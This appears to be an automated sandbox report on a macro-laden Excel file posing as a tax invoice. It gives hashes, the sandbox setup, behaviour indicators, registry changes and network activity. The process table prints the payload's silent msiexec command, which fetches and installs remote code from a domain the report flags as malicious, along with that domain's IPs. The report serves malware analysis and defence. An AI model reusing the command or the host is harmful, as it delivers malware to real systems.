Malware analysis TAX_INVOICE_MSHCN00101294550000032164731.xls Malicious activity

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File name:	TAX_INVOICE_MSHCN00101294550000032164731.xls
Full analysis:	https://app.any.run/tasks/400fae1e-6579-48cd-8f85-b88b3a0edfdc
Verdict:	Malicious activity
Analysis date:	June 12, 2019, 11:28:40
OS:	Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:	macros macros-on-open
Indicators:
MIME:	application/vnd.ms-excel
File info:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Author: Microsoft Office, Last Saved By: alex, Name of Creating Application: Microsoft Excel, Create Time/Date: Wed Dec 19 10:42:12 2018, Last Saved Time/Date: Tue Jun 11 08:29:49 2019, Security: 0
MD5:	826A8A5A88923E4301252CD649B52F1A
SHA1:	682454C924D6A9B386D5A5B10E68998E0DAFA355
SHA256:	209E15C481032149E4FEB2934210995A4DA79F984EC96DE2926A429AF34BD988
SSDEEP:	6144:SKpb8rGYrMPelwhKmFV5xtuEnE/TI2Jm904CX4EDFQ7dgvYbbDSwWHUrvp0ca:Cm904ARDG7aYbPSnHMU

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Launch configuration

Task duration:: 300 seconds
Heavy Evasion option:: on
Network geolocation:: off
Additional time used:: 240 seconds
MITM proxy:: off
Privacy:: Public submission
Fakenet option:: off
Route via Tor:: off
Autoconfirmation of UAC:: on
Network:: on

Software preset

Internet Explorer 8.0.7601.17514 undefined
Adobe Acrobat Reader DC MUI (15.023.20070)
Adobe Flash Player 26 ActiveX (26.0.0.131)
Adobe Flash Player 26 NPAPI (26.0.0.131)
Adobe Flash Player 26 PPAPI (26.0.0.131)
Adobe Refresh Manager (1.8.0)
CCleaner (5.35)
FileZilla Client 3.36.0 (3.36.0)
Google Chrome (73.0.3683.75)
Google Update Helper (1.3.33.23)
Java 8 Update 92 (8.0.920.14)
Java Auto Updater (2.8.92.14)
Microsoft .NET Framework 4.6.1 (4.6.01055)
Microsoft Office Access MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Access Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Excel MUI (English) 2010 (14.0.6029.1000)
Microsoft Office OneNote MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Outlook MUI (English) 2010 (14.0.6029.1000)
Microsoft Office PowerPoint MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Professional 2010 (14.0.6029.1000)
Microsoft Office Proof (English) 2010 (14.0.6029.1000)
Microsoft Office Proof (French) 2010 (14.0.6029.1000)
Microsoft Office Proof (Spanish) 2010 (14.0.6029.1000)
Microsoft Office Proofing (English) 2010 (14.0.6029.1000)
Microsoft Office Publisher MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Single Image 2010 (14.0.6029.1000)
Microsoft Office Word MUI (English) 2010 (14.0.6029.1000)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (9.0.30729.6161)
Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (10.0.40219)
Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (12.0.30501.0)
Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2017 Redistributable (x86) - 14.15.26706 (14.15.26706.0)
Microsoft Visual C++ 2017 x86 Additional Runtime - 14.15.26706 (14.15.26706)
Microsoft Visual C++ 2017 x86 Minimum Runtime - 14.15.26706 (14.15.26706)
Mozilla Firefox 65.0.2 (x86 en-US) (65.0.2)
Notepad++ (32-bit x86) (7.5.1)
Opera 12.15 (12.15.1748)
Skype version 8.29 (8.29)
VLC media player (2.2.6)
WinRAR 5.60 (32-bit) (5.60.0)

Hotfixes

Client LanguagePack Package
Client Refresh LanguagePack Package
CodecPack Basic Package
Foundation Package
IE Troubleshooters Package
InternetExplorer Optional Package
KB2534111
KB2999226
KB976902
LocalPack AU Package
LocalPack CA Package
LocalPack GB Package
LocalPack US Package
LocalPack ZA Package
ProfessionalEdition
UltimateEdition

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MALICIOUS
- Uses Microsoft Installer as loader
  - EXCEL.EXE (PID: 2152)
- Unusual execution from Microsoft Office
  - EXCEL.EXE (PID: 2152)
SUSPICIOUS
No suspicious indicators.
INFO
- Manual execution by user
  - WINWORD.EXE (PID: 2800)
- Reads Microsoft Office registry keys
  - WINWORD.EXE (PID: 2800)
  - EXCEL.EXE (PID: 2152)
- Creates files in the user directory
  - WINWORD.EXE (PID: 2800)

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

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No Malware configuration.

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TRiD

.xls	\|	Microsoft Excel sheet (45.8)
.xlr	\|	Microsoft Works Spreadsheet (41.9)

EXIF

FlashPix

HeadingPairs:	Листы 2 Макросы Excel 4.0 1
TitleOfParts:	Page1 2
HyperlinksChanged:	No
SharedDoc:	No
LinksUpToDate:	No
ScaleCrop:	No
AppVersion:	16
Company:	Microsoft Corporation
CodePage:	Windows Cyrillic
Security:	None
ModifyDate:	2019:06:11 07:29:49
CreateDate:	2018:12:19 10:42:12
Software:	Microsoft Excel
LastModifiedBy:	alex
Author:	Microsoft Office

No data.

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All screenshots are available in the full report

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Total processes

Monitored processes

Malicious processes

Suspicious processes

Behavior graph

Click at the process to see the details

Process information

PID	CMD	Path	Indicators	Parent process
2152	"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	—	explorer.exe
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Version: 14.0.6024.1000
3412	msiexec.exe RESTART=1 /i http://jbswin.net/rt3 /q ADRESS=TEMP	C:\Windows\system32\msiexec.exe	—	EXCEL.EXE
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows® installer Exit code: 1619 Version: 5.0.7600.16385 (win7_rtm.090713-1255)
3872	C:\Windows\system32\msiexec.exe /V	C:\Windows\system32\msiexec.exe		services.exe
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Windows® installer Version: 5.0.7600.16385 (win7_rtm.090713-1255)
2800	"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\buildmaterial.rtf"	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	—	explorer.exe
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000

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Total events

1 389

Read events

1 291

Write events

Delete events

Modification events


(PID) Process:	(2152) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:	write	Name:	j/;
Value: 6A2F3B0068080000010000000000000000000000
(PID) Process:	(2152) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:	write	Name:	1033
Value: Off
(PID) Process:	(2152) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:	write	Name:	1033
Value: On
(PID) Process:	(2152) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel
Operation:	write	Name:	MTTT
Value: 68080000CACC04051221D50100000000
(PID) Process:	(2152) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:	delete value	Name:	j/;
Value: 6A2F3B0068080000010000000000000000000000
(PID) Process:	(2152) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:	delete key	Name:
Value:
(PID) Process:	(2152) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency
Operation:	delete key	Name:
Value:
(PID) Process:	(2152) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	UNCAsIntranet
Value: 0
(PID) Process:	(2152) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	AutoDetect
Value: 1
(PID) Process:	(2152) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\13449F
Operation:	write	Name:	13449F
Value: 04000000680800004E00000043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C004C006F00630061006C005C00540065006D0070005C005400410058005F0049004E0056004F004900430045005F004D005300480043004E00300030003100300031003200390034003500350030003000300030003000330032003100360034003700330031002E0078006C007300000000002200000043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C004C006F00630061006C005C00540065006D0070005C00010000000000000080FA29061221D5019F4413009F44130000000000AC020000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

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Executable files

Suspicious files

Text files

Unknown types

Dropped files

PID	Process	Filename		Type
2152	EXCEL.EXE	C:\Users\admin\AppData\Local\Temp\CVR3FEA.tmp.cvr		—
		MD5:—	SHA256:—
2800	WINWORD.EXE	C:\Users\admin\AppData\Local\Temp\CVR8451.tmp.cvr		—
		MD5:—	SHA256:—
2800	WINWORD.EXE	C:\Users\admin\Desktop\~WRD0000.tmp		—
		MD5:—	SHA256:—
2800	WINWORD.EXE	C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{AB5261A1-98C9-425B-ACE3-1434CB2F2085}.tmp		—
		MD5:—	SHA256:—
2800	WINWORD.EXE	C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{0B0FFCC3-259B-4454-B673-D504416CF284}.tmp		—
		MD5:—	SHA256:—
2800	WINWORD.EXE	C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{D68FB168-9A67-43FA-A012-DA1B7ACF8164}.tmp		—
		MD5:—	SHA256:—
2800	WINWORD.EXE	C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm		pgc
		MD5:1045E0FBD0790171E1FB8EF5880EA079	SHA256:8E44A5B2C44B863FCCCFA7A3F03FD5595285243D7EFEC7258DB12F575FD25246
2800	WINWORD.EXE	C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.dat		text
		MD5:EE143AD6A6E3A4F0726AAE39B7676860	SHA256:F0D1184403429D1C3CD180F9EB94457BE578A2DA988DF2A1DCAC5180E777DDAC
2800	WINWORD.EXE	C:\Users\admin\Desktop\buildmaterial.rtf		text
		MD5:39D3DA8664A2C4EA11A046A2873FB2FC	SHA256:1E081043658705C9ACB801CB7C6A605091E89015567A9A39D9397A855B381786
2800	WINWORD.EXE	C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\buildmaterial.rtf.LNK		lnk
		MD5:9EC4D99D34448CCD07839D2A58D2C004	SHA256:FFCD0458CCA3B58D0CA19F5436A2C84352F62E760FD76BA3B08850AED6D6019D

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

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HTTP(S) requests

TCP/UDP connections

DNS requests

Threats

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
3872	msiexec.exe	GET	—	91.201.175.46:80	http://jbswin.net/rt3	BG	—	—	malicious

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID	Process	IP	Domain	ASN	CN	Reputation
3872	msiexec.exe	91.201.175.46:80	jbswin.net	ET Satelit TM - Anton Simeonov	BG	malicious

DNS requests

Domain	IP	Reputation
jbswin.net	91.201.175.46 143.208.165.41 213.164.242.16 89.190.74.198 193.107.99.167 2.185.146.116 37.34.176.37 87.121.172.134 186.177.30.150 200.91.115.40	malicious

Threats

PID	Process	Class	Message
3872	msiexec.exe	Misc activity	SUSPICIOUS [PTsecurity] Using msiexec.exe for Downloading non-MSI file

1 ETPRO signatures available at the full report

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No debug info

General Info

TAX_INVOICE_MSHCN00101294550000032164731.xls

826A8A5A88923E4301252CD649B52F1A

682454C924D6A9B386D5A5B10E68998E0DAFA355

209E15C481032149E4FEB2934210995A4DA79F984EC96DE2926A429AF34BD988

6144:SKpb8rGYrMPelwhKmFV5xtuEnE/TI2Jm904CX4EDFQ7dgvYbbDSwWHUrvp0ca:Cm904ARDG7aYbPSnHMU

Software environment set and analysis options

Launch configuration

Software preset

Hotfixes

Behavior activities

MALICIOUS

Uses Microsoft Installer as loader

Unusual execution from Microsoft Office

SUSPICIOUS

INFO

Manual execution by user

Reads Microsoft Office registry keys

Creates files in the user directory

Malware configuration

Static information

TRiD

EXIF

FlashPix

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Information

Information

Information

Registry activity

Modification events

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings